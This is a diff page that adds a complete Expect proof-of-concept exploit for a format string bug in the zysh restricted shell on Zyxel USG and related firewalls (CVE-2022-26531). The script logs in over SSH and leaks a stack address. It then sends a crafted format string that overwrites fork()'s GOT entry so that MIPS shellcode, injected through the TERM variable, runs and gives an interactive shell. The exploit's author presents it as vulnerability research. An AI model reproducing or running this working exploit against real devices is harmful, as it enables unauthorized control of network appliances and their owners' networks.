1 | | - | Exploit due for publication on 2022-06-07 |
| 1 | + | #!/usr/bin/expect -f |
| 2 | + | |
| 3 | + | # |
| 4 | + | # raptor_zysh_fhtagn.exp - zysh format string PoC exploit |
| 5 | + | # Copyright (c) 2022 Marco Ivaldi <[email protected]> |
| 6 | + | # |
| 7 | + | # "We live on a placid island of ignorance in the midst of black seas of |
| 8 | + | # infinity, and it was not meant that we should voyage far." |
| 9 | + | # -- H. P. Lovecraft, The Call of Cthulhu |
| 10 | + | # |
| 11 | + | # "Multiple improper input validation flaws were identified in some CLI |
| 12 | + | # commands of Zyxel USG/ZyWALL series firmware versions 4.09 through 4.71, |
| 13 | + | # USG FLEX series firmware versions 4.50 through 5.21, ATP series firmware |
| 14 | + | # versions 4.32 through 5.21, VPN series firmware versions 4.30 through |
| 15 | + | # 5.21, NSG series firmware versions 1.00 through 1.33 Patch 4, NXC2500 |
| 16 | + | # firmware version 6.10(AAIG.3) and earlier versions, NAP203 firmware |
| 17 | + | # version 6.25(ABFA.7) and earlier versions, NWA50AX firmware version |
| 18 | + | # 6.25(ABYW.5) and earlier versions, WAC500 firmware version 6.30(ABVS.2) |
| 19 | + | # and earlier versions, and WAX510D firmware version 6.30(ABTF.2) and |
| 20 | + | # earlier versions, that could allow a local authenticated attacker to |
| 21 | + | # cause a buffer overflow or a system crash via a crafted payload." |
| 22 | + | # -- CVE-2022-26531 |
| 23 | + | # |
| 24 | + | # The zysh binary is a restricted shell that implements the command-line |
| 25 | + | # interface (CLI) on multiple Zyxel products. This proof-of-concept exploit |
| 26 | + | # demonstrates how to leverage the format string bugs I have identified in |
| 27 | + | # the "extension" argument of some zysh commands, to execute arbitrary code |
| 28 | + | # and escape the restricted shell environment. |
| 29 | + | # |
| 30 | + | # - This exploit targets the "ping" zysh command. |
| 31 | + | # - It overwrites the .got entry of fork() with the shellcode address. |
| 32 | + | # - The shellcode address is calculated based on a leaked stack address. |
| 33 | + | # - Hardcoded offsets and values might need some tweaking, see comments. |
| 34 | + | # - Automation/weaponization for other targets is left as an exercise. |
| 35 | + | # |
| 36 | + | # For additional details on my bug hunting journey and on the |
| 37 | + | # vulnerabilities themselves, you can refer to the official advisory: |
| 38 | + | # https://github.com/0xdea/advisories/blob/master/HNS-2022-02-zyxel-zysh.txt |
| 39 | + | # |
| 40 | + | # Usage: |
| 41 | + | # raptor@blumenkraft ~ % ./raptor_zysh_fhtagn.exp <REDACTED> admin password |
| 42 | + | # raptor_zysh_fhtagn.exp - zysh format string PoC exploit |
| 43 | + | # Copyright (c) 2022 Marco Ivaldi <[email protected]> |
| 44 | + | # |
| 45 | + | # Leaked stack address: 0x7fe97170 |
| 46 | + | # Shellcode address: 0x7fe9de40 |
| 47 | + | # Base string length: 46 |
| 48 | + | # Hostile format string: %.18u%1801$n%.169u%1801$hn%.150u%1801$hhn%.95u%1802$hhn |
| 49 | + | # |
| 50 | + | # *** enjoy your shell! *** |
| 51 | + | # |
| 52 | + | # sh-5.1$ uname -snrmp |
| 53 | + | # Linux USG20-VPN 3.10.87-rt80-Cavium-Octeon mips64 Cavium Octeon III V0.2 FPU V0.0 |
| 54 | + | # sh-5.1$ id |
| 55 | + | # uid=10007(admin) gid=10000(operator) groups=10000(operator) |
| 56 | + | # |
| 57 | + | # Tested on: |
| 58 | + | # Zyxel USG20-VPN with Firmware 5.10 |
| 59 | + | # [other appliances/versions are also likely vulnerable] |
| 60 | + | # |
| 61 | + | |
| 62 | + | # change string encoding to 8-bit ASCII to avoid annoying conversion to UTF-8 |
| 63 | + | encoding system iso8859-1 |
| 64 | + | |
| 65 | + | # hostile format string to leak stack address via direct parameter access |
| 66 | + | set offset1 77 |
| 67 | + | set leak [format "AAAA.0x%%%d\$x" $offset1] |
| 68 | + | |
| 69 | + | # offsets to reach addresses in retloc sled via direct parameter access |
| 70 | + | set offset2 1801 |
| 71 | + | set offset3 [expr $offset2 + 1] |
| 72 | + | |
| 73 | + | # difference between leaked stack address and shellcode address |
| 74 | + | set diff 27856 |
| 75 | + | |
| 76 | + | # retloc sled |
| 77 | + | # $ mips64-linux-readelf -a zysh | grep JUMP | grep fork |
| 78 | + | # 112dd558 0000967f R_MIPS_JUMP_SLOT 00000000 fork@GLIBC_2.0 |
| 79 | + | # ^^^^^^^^ << this is the address we need to encode: [112dd558][112dd558][112dd558+2][112dd558+2] |
| 80 | + | set retloc [string repeat "\x11\x2d\xd5\x58\x11\x2d\xd5\x58\x11\x2d\xd5\x5a\x11\x2d\xd5\x5a" 1024] |
| 81 | + | |
| 82 | + | # nop sled |
| 83 | + | # nop-equivalent instruction: xor $t0, $t0, $t0 |
| 84 | + | set nops [string repeat "\x01\x8c\x60\x26" 64] |
| 85 | + | |
| 86 | + | # shellcode |
| 87 | + | # https://github.com/0xdea/shellcode/blob/main/MIPS/mips_n32_msb_linux_revsh.c |
| 88 | + | set sc "\x3c\x0c\x2f\x62\x25\x8c\x69\x6e\xaf\xac\xff\xec\x3c\x0c\x2f\x73\x25\x8c\x68\x68\xaf\xac\xff\xf0\xa3\xa0\xff\xf3\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x28\x06\xff\xff\x24\x02\x17\xa9\x01\x01\x01\x0c" |
| 89 | + | |
| 90 | + | # padding to align payload in memory (might need adjusting) |
| 91 | + | set padding "AAA" |
| 92 | + | |
| 93 | + | # print header |
| 94 | + | send_user "raptor_zysh_fhtagn.exp - zysh format string PoC exploit\n" |
| 95 | + | send_user "Copyright (c) 2022 Marco Ivaldi <[email protected]>\n\n" |
| 96 | + | |
| 97 | + | # check command line |
| 98 | + | if { [llength $argv] != 3} { |
| 99 | + | send_error "usage: ./raptor_zysh_fhtagn.exp <host> <user> <pass>\n" |
| 100 | + | exit 1 |
| 101 | + | } |
| 102 | + | |
| 103 | + | # get SSH connection parameters |
| 104 | + | set port "22" |
| 105 | + | set host [lindex $argv 0] |
| 106 | + | set user [lindex $argv 1] |
| 107 | + | set pass [lindex $argv 2] |
| 108 | + | |
| 109 | + | # inject payload via the TERM environment variable |
| 110 | + | set env(TERM) $retloc$nops$sc$padding |
| 111 | + | |
| 112 | + | # connect to target via SSH |
| 113 | + | log_user 0 |
| 114 | + | spawn -noecho ssh -q -o StrictHostKeyChecking=no -p $port $host -l $user |
| 115 | + | expect { |
| 116 | + | -nocase "password*" { |
| 117 | + | send "$pass\r" |
| 118 | + | } |
| 119 | + | default { |
| 120 | + | send_error "error: could not connect to ssh\n" |
| 121 | + | exit 1 |
| 122 | + | } |
| 123 | + | } |
| 124 | + | |
| 125 | + | # leak stack address |
| 126 | + | expect { |
| 127 | + | "Router? $" { |
| 128 | + | send "ping 127.0.0.1 extension $leak\r" |
| 129 | + | } |
| 130 | + | default { |
| 131 | + | send_error "error: could not access zysh prompt\n" |
| 132 | + | exit 1 |
| 133 | + | } |
| 134 | + | } |
| 135 | + | expect { |
| 136 | + | -re "ping: unknown host AAAA\.(0x.*)\r\n" { |
| 137 | + | } |
| 138 | + | default { |
| 139 | + | send_error "error: could not leak stack address\n" |
| 140 | + | exit 1 |
| 141 | + | } |
| 142 | + | } |
| 143 | + | set leaked $expect_out(1,string) |
| 144 | + | send_user "Leaked stack address:\t$leaked\n" |
| 145 | + | |
| 146 | + | # calculate shellcode address |
| 147 | + | set retval [expr $leaked + $diff] |
| 148 | + | set retval [format 0x%x $retval] |
| 149 | + | send_user "Shellcode address:\t$retval\n" |
| 150 | + | |
| 151 | + | # extract each byte of shellcode address |
| 152 | + | set b1 [expr ($retval & 0xff000000) >> 24] |
| 153 | + | set b2 [expr ($retval & 0x00ff0000) >> 16] |
| 154 | + | set b3 [expr ($retval & 0x0000ff00) >> 8] |
| 155 | + | set b4 [expr ($retval & 0x000000ff)] |
| 156 | + | set b1 [format 0x%x $b1] |
| 157 | + | set b2 [format 0x%x $b2] |
| 158 | + | set b3 [format 0x%x $b3] |
| 159 | + | set b4 [format 0x%x $b4] |
| 160 | + | |
| 161 | + | # calculate numeric arguments for the hostile format string |
| 162 | + | set base [string length "/bin/zysudo.suid /bin/ping 127.0.0.1 -n -c 3 "] |
| 163 | + | send_user "Base string length:\t$base\n" |
| 164 | + | set n1 [expr ($b4 - $base) % 0x100] |
| 165 | + | set n2 [expr ($b2 - $b4) % 0x100] |
| 166 | + | set n3 [expr ($b1 - $b2) % 0x100] |
| 167 | + | set n4 [expr ($b3 - $b1) % 0x100] |
| 168 | + | |
| 169 | + | # check for dangerous numeric arguments below 10 |
| 170 | + | if {$n1 < 10} { incr n1 0x100 } |
| 171 | + | if {$n2 < 10} { incr n2 0x100 } |
| 172 | + | if {$n3 < 10} { incr n3 0x100 } |
| 173 | + | if {$n4 < 10} { incr n4 0x100 } |
| 174 | + | |
| 175 | + | # craft the hostile format string |
| 176 | + | set exploit [format "%%.%du%%$offset2\$n%%.%du%%$offset2\$hn%%.%du%%$offset2\$hhn%%.%du%%$offset3\$hhn" $n1 $n2 $n3 $n4] |
| 177 | + | send_user "Hostile format string:\t$exploit\n\n" |
| 178 | + | |
| 179 | + | # uncomment to debug |
| 180 | + | # interact + |
| 181 | + | |
| 182 | + | # exploit target |
| 183 | + | set prompt "(#|\\\$) $" |
| 184 | + | expect { |
| 185 | + | "Router? $" { |
| 186 | + | send "ping 127.0.0.1 extension $exploit\r" |
| 187 | + | } |
| 188 | + | default { |
| 189 | + | send_error "error: could not access zysh prompt\n" |
| 190 | + | exit 1 |
| 191 | + | } |
| 192 | + | } |
| 193 | + | expect { |
| 194 | + | "Router? $" { |
| 195 | + | send_error "error: could not exploit target\n" |
| 196 | + | exit 1 |
| 197 | + | } |
| 198 | + | -re $prompt { |
| 199 | + | send_user "*** enjoy your shell! ***\n" |
| 200 | + | send "\r" |
| 201 | + | interact |
| 202 | + | } |
| 203 | + | default { |
| 204 | + | send_error "error: could not exploit target\n" |
| 205 | + | exit 1 |
| 206 | + | } |
| 207 | + | } |
2 | 208 | | |